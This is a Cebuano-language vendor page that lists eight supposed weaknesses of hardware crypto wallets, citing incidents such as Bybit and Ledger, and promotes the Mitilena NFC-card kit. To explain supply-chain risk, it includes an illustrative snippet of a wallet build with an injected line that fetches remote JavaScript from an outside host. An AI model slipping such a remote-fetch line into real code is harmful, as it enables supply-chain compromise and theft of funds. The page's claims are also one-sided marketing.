ONLINE · 22,000+ COINS Paghimo walletHimoa

Hardware wallet · dili klaro nga mga lungag

Dili klaro nga mga lungag sa hardware wallet

Mopalit ka og device aron sirado ang mga lungag. Uban niini moabot ang bag-o: firmware, update, serbisyo sa imong computer, screen, kahon, account sa tigbaligya. Walong detalye nga gisulat sa review isip kaayohan — ug walong paagi nga gikuha ang kwarta pinaagi niini sa 2020–2026.

Walóng lungag Unsa ang sulod sa kit

Tinuod nga kaso nga may petsa ug kantidad Gikan sa dokumentasyon sa tigbaligya Among susihon ang among kit sa mao gihapong lista

Presyo sa sayoppublikong kaso

2026Coldcard · huyang nga randomness sa firmware$100M+

2025Bybit · ang mga signer mipirma sa wala nila makita$1.5B

2024Dark Skippy · ang seed mogawas pinaagi sa duha ka pirmapagtuon

2023Ledger Connect Kit · backdoor sa library$600K

2021Peke nga wallet app sa App Store17,1 BTC

2020Pagtagas sa DB sa kustomer sa Ledger · katuigan nga phishing270,000 ka tawo

Walóng lungag

Ang matag detalye nga gidayeg sa review usa ka bulag nga lungag

Ang hardware wallet mosira og usa ka lungag: ang yawe wala na sa phone nga may internet. Apan ang device dili walay sulod. May firmware, update, desktop program, screen, kahon, tigbaligya nga may imong adres — ug ang matag detalye magdugang og attack surface nga wala nimo kaniadto. Ubos ang walo ka detalye: unsa ang isulti sa review, giunsa pagkuha ang kwarta pinaagi niini, paagi pagsira sa lungag, ug kung naa ba kana sa among kit.

Lungag 01

Firmware nga maghimo sa imong yawe

Sa review: «secure chip — ang yawe ginama sulod sa device ug dili gyud mogawas»

Ang yawe usa ka dakong random nga numero, ug ang firmware ang maghimo niini. Usa ka bug didto — ug mas gamay ang yawe kay sa imong hunahuna: i-brute-force kini para sa tanang tag-iya sa usa ka higayon, walay access sa device, katuigan human sa pagpalit. Wala’y labot ang chip; ang lungag anaa sa ibabaw niini.

Kaso

$100M+

Coldcard, Hulyo 2026: bug sa build sa firmware sukad 2021 nga hilom nga ilisan ang hardware RNG og huyang nga seeded gikan sa serial sa device ug timer. Ang kusog sa yawe nihulog ngadto sa mga 40 bit; 5,000+ adres gihaw-as.

Paagi pagsira sa lungag

Mahimo ba nimo dad-on ang imong kaugalingong randomness: dice, kaugalingong hugpong sa pulong. Ang wallet nga modawat og entropy gikan nimo dili magsalig sa usa ka bug sa firmware.

Wala kini nga detalye sa amoa

Walay firmware sa card — encrypted carrier kini. Ang Mitilena Air maghimo sa yawe gikan sa system RNG sa device, ug mahimo nimo itakda ang imong kaugalingong seed phrase imbes random nga pulong.

Lungag 02

Mga update nga kinahanglan nimo i-install

Sa review: «kanunay magpadala ang tigbaligya og security update»

Ang matag update usa ka higayon nga mahimong ilisan ang firmware. Ang gipa-usab nga firmware magtago og tipik sa seed sulod sa duha o tulo ka ordinaryong pirma samtang normal ang hitsura sa device gawas. Dili usab opsyon ang paglaktaw sa update: ang lungag gitapalan mismo sa maong update.

Kaso

2 ka pirma

Dark Skippy, Agosto 2024: gipakita sa mga researcher nga ang malicious nga firmware sa hardware wallet makagawas sa tibuok seed pinaagi sa duha ka transaksyon. Usa ka update gikan sa sayop nga dapit igo na.

Paagi pagsira sa lungag

Asa gikan ang firmware ug kung susihon ba sa device ang pirma niini. Pinakamaayo kung walay angay i-update.

Wala kini nga detalye sa amoa

Walay angay i-update o ilisan sa card. Ang pagpirma mahitabo sa app sa phone; ang builds gipirmahan ug gikan sa App Store ug Google Play — sama sa bisan unsang app nga imong makita ug sirado mismo.

Lungag 03 · Bati-a ang absurdo

Sa review: «kombenyente nga desktop app sa tigbaligya»

Wallet para sa pagkadili-salig nga may background service

Mopalit ka og device tungod sa usa ka rason: aron dili na mosalig sa computer. Aron molihok, kinahanglan nimo i-install ang background service sa mao gihapong computer. Wala nimo kini sinulat, wala nimo gipadagan, ug wala nimo kontrola: magsugod kini uban sa OS, maminaw sa port nga mahimong tuktokon sa bisan unsang program sa imong machine, ug nagbuhat og usa ka butang karon — unsa gyud, wala ka kahibalo ug dili nimo mapamatud-an.

Nagpadayon kini sa background human nimo sirado ang wallet. Katuigan. Sa usa sa pinakadakong tigbaligya usa kini ka bulag nga “bridge” service; sa 2025 gitago nila sulod sa app mismo — anaa pa ang service, namatay ra uban sa window. Para sa kadaghanan nga lain, kung walay desktop program ang device keychain fob ra. Sa Linux idugang ang udev rules o dili ihatag sa sistema ang USB.

Mao nga ang butang nga imong gipalit aron dili magsalig sa mga program sa computer dili gyud molihok kung walay program sa computer. Ug dili kana nga imong makita — ang nagdagan sa ilalom niini.

Wala kini nga detalye sa amoa

Walay gitaod sa computer: walay service, driver, o port. Ang tigpatunga mao ang NFC chip nga anaa na sa imong phone, ginama sa tigbaligya niini ug gidumala sa OS: molihok lang kung abli ang app ug ikaw mismo ang magtap sa card, ug ang phone mangayo og permiso matag higayon. Passive ang card: walay baterya, walay radio, wala kini’y buhaton sa iyang kaugalingon. Sirado ang app — walay nahabilin nga modagan nga wala nimo. Tinood: kinahanglan pa gihapon ang app sa phone, ug sama kini sa uban — imong makita, imong padaganon, ug imong sirado. Walay nagpuyo sa utility closet.

Monitor sa sistemaGISIRA ANG WALLET

ProcessStateUptime

HW Wallet Appwallet

imong gisira-

hwwalletdbackground service · USB bridge

nagdagan412d 06:14

gipadagan sa sistema sa logindili masirado — service kini

Mockup; ilustratibo ang mga ngalan. Mao kini ang hitsura sa computer nga may usa sa pinakasikat nga USB wallet sa wala pa ang 2025; unya ang “bridge” gitukod sulod sa app mismo — mao gihapong service, wala na lang makita sa lista.

Alegorya

Balay alang sa privacy — ug usa ka nagpuyo sa utility closet

Gusto ka og balay alang sa privacy. Gipalit nimo. Unya kinahanglan og seguridad — gitaod. Ug aron molihok ang plan sa seguridad, gihangyo ka nga pasudlon ang tawo nga may uniporme sa balay nga magpuyo sa imong utility closet adlaw-gabii, may yawe sa tanang pultahan, ug magreport sa lain. Wala nimo siya gi-hire, dili nimo siya matangtang, ug unsa iyang buhaton sa gabii — wala ka kahibalo.

“Kaalyado” siya, siyempre. Mao ang gisulat sa kontrata. Gusto ka og privacy ug nakakuha ka og kapuli: balay nga may nagpuyo nga wala nimo gipili.

Lungag 04 · Ang open source dili audit

Sa review: «open source — bisan kinsa makasusi»

Ang open source paagi sa mga programmer sa pagtinabangay, dili badge nga ang program dili mangawat

Naimbento ang open source aron magbahin ang mga tawo og program ug ayohon kini nga magkauban. Isip himan sa kolaborasyon maayo kini. Wala gyud kini nahimong selyo sa kalidad nga “dili mangawat kini nga software sa imong kwarta,” ug ani ang rason: dili nimo gamiton ang source code. Imong gamiton ang imong gi-download.

Taliwala sa GitHub repo ug sa file sa imong phone anaa ang build, app store, update, server. Sa bisan asa niadtong lakang mahimong mosulod ang usa ka linya sa code nga magkuha og bisan unsa gikan sa bisan asa — ug wala kana sa repo. Dili nimo ikomparar ang imong kopya sa source: ang store magpadala og compiled file; ang web wallet makadawat sa code nga gipili sa server para nimo karon; ang browser extension mag-update hilom sa gabii.

Ang «abli» nagpasabot nga ang ubang tawo makasusi og usa ka bersyon sa usa ka adlaw. Unsa ang gibuhat sa imong kopya karon — dili kana ang gipasabot.

Sa repo · github.com/…/wallet/send.js

// send.js
import { sign } from './crypto'
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Sa imong phone · app-2.4.21.min.js

// send.js — build
import { sign } from './crypto'
;(async () => {
  var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Usa ka linya sa build. Wala sa repo, dili makita sa store, nagdagan sa imong device.

Ang pagkaabli wala makapugong sa bisan usa niini nga kaso

Ledger Connect Kit2023

abli nga library sa GitHub; gipagawas ang malicious nga bersyon sa npm; dose ka site ang nag-load niini live sulod sa oras

Copay / event-stream2018

abli nga wallet; ang backdoor misulod pinaagi sa dependency nga gipunting gyud niini

xz utils2024

abli sulod sa kawhaan ka tuig; naglingkod ang backdoor sa mga release hangtod nakamatikod ang usa ka engineer nga ang SSH login tunga ka segundo mas hinay

Coldcard2026

open-source firmware; bug sa build sulod sa lima ka tuig nga milisan ang hardware RNG og huyang — gibrute-force ang yawe nga walay access sa device, 5,000+ adres, $100M+

Unsa ang tinuod nga molihok

Dili ang pagbasa sa code sa lain — duha ka pagsusi nga mahimo sa bisan kinsa. Una, audit sa kinaiya: ibutang ang intercepting proxy sa imong computer, ipasa ang app pinaagi niini, ug tan-awa kung unsa ang ipadala ngadto asa. Dili kinahanglan basahon ang code — makita ang tibuok traffic. Ikaduha, arkitektura diin walay angay kawaton ang code: kung ang yawe wala gyud sa device nga may network, bisan unsang linya sa bisan unsang update walay gahum — walay iyang ipadala.

Giunsa namo

Ang una among gitanyag mismo: padagana ang among app pinaagi sa proxy, ang web version pinaagi sa browser DevTools, ug susiha ang matag request. Dili mogawas ang signing key ug seed; ang bugtong caveat mao ang Monero view key — hisgotan sa panid nga «giunsa mogawas ang padala». Ang ikaduha anaa sa kit: natawo ang yawe sa Mitilena Air sa device nga walay internet, magpuyo sa card, ug ang pirma ra ang moabot sa online app — walay angay i-proxy didto. Ug tinuod ang offline dinhi: sa air-gap mode ang device sa yawe wala konektado sa bisan unsa — walay cable, walay Bluetooth; ang transaksyon mosulod ug mogawas isip QR code nga imong makita sa mata. Dili «bugnaw» nga wallet sa cable nga nagbitay sa online computer nga may kaugalingong service nga magbaylo og kinsa-kahibalo-unsa.

Lungag 05

Screen nga dili magpakita kung unsa ang imong gipirmahan

Sa review: «pagkumpirma sa screen sa device — walay gahum ang virus sa computer»

Gamay ang screen, ug kasagaran magpakita kini og hash o “contract call,” dili adres ug kantidad. Imong kumpirmahon ang wala nimo makita — ug ang pirma tinuod gihapon, imoha. Ang screen maghatag og pagbati sa kontrol nga wala diha.

Kaso

$1.5B

Bybit, Pebrero 2025: ang mga signer nga may hardware wallet mikumpirma og transfer nga ordinaryo ang hitsura sa UI. Ang device nagpakita og datos nga dili mapamatud-an sa tawo.

Paagi pagsira sa lungag

Tigdawat, kantidad, ug tipo sa operasyon sa pinulongan sa tawo — dili hash — ug usa ka button nga Reject.

Giunsa namo

May screen, apan screen sa phone kini: adres, kantidad, ug tipo sa hangyo sa mga pulong — transfer, contract call, approval — ug button nga Reject. Para sa dagkong kantidad — bulag nga offline device nga modawat sa tibuok transaksyon.

Lungag 06

Kahon nga may seed na sulod

Sa review: «moabot sa selyadong kahon nga may security seal»

Ang pisikal nga device nagpasabot og shipping, tigpatunga, ug “diskwento” nga marketplace. Moabot ang wallet nga naka-set na, may seed sa slip sulod. O ang lookalike app sa store mangayo nimo nga “isulod ang seed aron i-activate.”

Kaso

17,1 BTC

App Store, 2021: ang tag-iya sa hardware wallet misulod sa seed sa lookalike app ug nawad-an og 17.1 BTC. Sa mao gihapong tuig, human sa pagtagas sa DB, gipadalhan ang kustomer sa Ledger og peke nga device nga may sulat nga “ibalhin ang imong seed ngadto sa bag-o.”

Paagi pagsira sa lungag

Ikaw mismo ang mag-initialize ug ayaw gyud gamita ang seed nga miabot nga nasulat na. Ang seal dili verification; ang verification mao nga ikaw ang maghimo sa yawe.

Giunsa namo

Blank ang mga card sa pag-abot: ikaw ang maghimo sa yawe ug ikaw mismo ang magsulat — dili mahimong may ready-made seed sa kahon. Ang app gikan lang sa App Store ug Google Play pinaagi sa link sa site; mangayo kini og seed sa import ug pagpirma ra.

Lungag 07

Account sa tigbaligya

Sa review: «opisyal nga warranty, support, ug personal nga account»

Aron mopalit sa device ihatag nimo sa tigbaligya ang imong ngalan, email, ug adres sa padala. Ang imong seguridad nagsalig na sa ilang database. Kung motagas — katuigan makadawat ka og mensahe nga “ikumpirma ang seed sa bag-ong device,” usahay uban ang package.

Kaso

270,000 ka tawo

Ledger, 2020: mitagas ang datos sa 270,000 ka pumapalit, lakip ang postal adres. Ang email, tawag, ug package nga mangayo nimo nga “i-migrate” ang seed nagpadayon hangtod karon.

Paagi pagsira sa lungag

Kung mas gamay ang ilang nahibaloan bahin nimo, mas mubo ang vector: palita nga walay account, support nga dili gyud mangayo og seed, ug ang lagda nga “ang kawatan ra ang mangayo og seed.”

Wala kini nga detalye sa amoa

Molihok ang wallet nga walay registration — walay account. Ang tigbaligya nahibalo lang sa adres sa padala. Ni support ni app ang mangayo og seed.

Lungag 08

Usa ka device ug usa ka slip sa papel

Sa review: «lig-on nga case, dakong screen, baterya sulod sa usa ka semana»

Kung mas daghan ang parte, mas daghan ang mabuak: connector, screen, baterya. Ang recovery nagsalig sa usa ka seed slip — nabasa, nawala sa pagbalhin, gikuhaan og litrato “kung unsaon.” Ang pinakasagaran nga rason sa pagkawala dili hack.

Kaso

≈20 % BTC

Gibanabana sa Chainalysis nga mga ikalima sa tanang bitcoin nawala hangtod kahangtoran — kasagaran tungod sa nawalang yawe, dili hack.

Paagi pagsira sa lungag

Pila ka kopya sa yawe ang anaa sa kahon ug unsang porma, unsa mahitabo kung mawala ang device, ug kung may mabuak ba sulod niini.

Wala kini nga detalye sa amoa

Walay screen, baterya, o connector — walay mabuak. Ug dili usa ka kopya: lima ka mirror nga kopya sa kahon — duha ka NFC card ug tulo ka stealth sticker sa waterproof plastic, 10+ tuig.

Checklist

Unsa ang dili angay anaa sa wallet

Walong detalye para sa walong lungag. Ang lista mohaum sa bisan unsang wallet — hardware, mobile, browser. Markahi kung unsa ang naa sa imong gipili — ug sa amoa usab.

Yawe nga ginama ra sa softwarewalay imong kaugalingong randomness — imong hugpong sa pulong o dice

Update diin magpuyo ang yaweang matag update higayon sa pag-ilis sa code

Service, driver, o port sa computertan-awa ang lungag 03

Badge nga «open source» imbes arkitekturaang yawe anaa diin maabot sa langyaw nga code

Screen nga magpakita og hash imbes adres ug kantidadug walay button nga Reject

Seed nga miabot nga nasulat nasa kahon, sa sulat, sa «activation app»

Account sa tigbaligyaug support nga mahimong mangayo og seed

Usa ka kopya ug mga parte nga mabuakscreen, baterya, connector, usa ka slip sa papel

Sa kini nga lista, ang Ultimate kit walay bisan usa sa walo ka detalye. Sa kahon: 2 ka NFC card ug 3 ka stealth sticker, Mitilena Air (yawe nga walay internet) ug Mitilena Keys (pagpirma nga walay internet). Blank ang mga card sa pag-abot: ikaw ang maghimo ug mag-encrypt sa yawe — dili factory chip. Sulod ug presyo →

Ultimate · offline kit

Dili factory «secure chip» — carrier nga imong i-encrypt

Blank ang mga card sa pag-abot. Imong himoon ang yawe sa Mitilena Air sa phone nga walay internet ug ikaw mismo ang magsulat. Ang pagpirma pinaagi sa Mitilena Keys, offline usab: ang transaksyon moagi sa QR. Lima ka managsama nga kopya sa kahon: 2 ka NFC card ug 3 ka stealth sticker sa waterproof plastic. 18 networks, 20,000+ coins, lakip ang USDT.

Walay gitaod sa computer

Walay firmware, update, screen, o baterya

Transaksyon ngadto sa offline phone — pinaagi sa tingog o QR, walay cable o USB

Molihok sa libre nga Mitilena phone app

Waterproof plastic, 10+ tuig nga tipigan

Worldwide shipping · mitilena-store.com

Ultimate · offline generation ug pagpirma

€369€439

2 ka NFC card · 3 ka stealth sticker · Mitilena Air · lisensya sa Mitilena Keys

Palita ang Ultimate · €369 Basic ug Premium — tan-awa ang tanang plans

FAQ

Unsa ang gipangutana human mabasa kini

Mga kaayohan ug kakulangan sa hardware wallet — mubo nga bersyon?

Usa ka dakong kaayohan: ang yawe wala sa phone nga may internet. Ang mga kakulangan mao ang walo ka detalye sa ibabaw — ang matag usa magdugang og attack surface. Ang maayong hardware wallet mao ang may mas gamay nga detalye, dili mas daghan.

Unsa kung compromised ang phone?

Kung ang card anaa sa imong main phone, mogawas ang yawe sa isolated environment sulod sa segundo sa pagpirma — mao gihapong risgo sa bisan unsang phone wallet, mas mubo lang. Para sa kantidad nga makahadlok — ikaduhang layer: pirmahi sa bulag nga offline device diin moabot ang transaksyon pinaagi sa QR.

Unsa kung manakaw o mawala ang card?

Kung walay password, ang card ug sticker walay kapuslanan nga plastic — encrypted ang yawe niini. Ang nawalang kopya pulihan sa upat pa: duha ka card ug tulo ka sticker gikan sa kahon mirror.

Kinahanglan ba i-update ang firmware sa hardware wallet?

Kung gisira sa tigbaligya ang lungag — oo, ug mao gyud kana ang higayon nga mahimong ilisan ang firmware: susiha ang source ug ang pirma. Ang carrier nga walay firmware walay ingon nga pagpili — walay angay i-update, walay angay ilisan.

Unsa ang kalainan niini sa USB wallet?

Mas gamay ang tigpatunga: walay cable, driver, background service, o desktop program. Usa ka tigpatunga — ang NFC chip sa imong phone — ug mosimbag kini nimo ug sa OS, dili sa tigbaligya sa wallet.

Ang open source pasabot ba nga luwas?

Nagpasabot kini nga masusi sa usa ka tawo, sa usa ka higayon. Dili nimo gamiton ang code kondili ang imong gi-download, ug dili nimo ikomparar ang usa sa lain. Ang seguridad gikan sa arkitektura diin ang yawe wala diin maabot sa langyaw nga code.

Mga NFC card nga may offline generation ug pagpirma

5 ka kopya sa yawe · Air · Keys · o libre nga wallet sulod sa 30 segundos · Nganong ang hardware wallet nga «bugnaw» nga nagsalig sa secure chip sa pabrika kasagarang peke ra nga cold storage →

Palita ang Ultimate · €369 Paghimo og libre nga wallet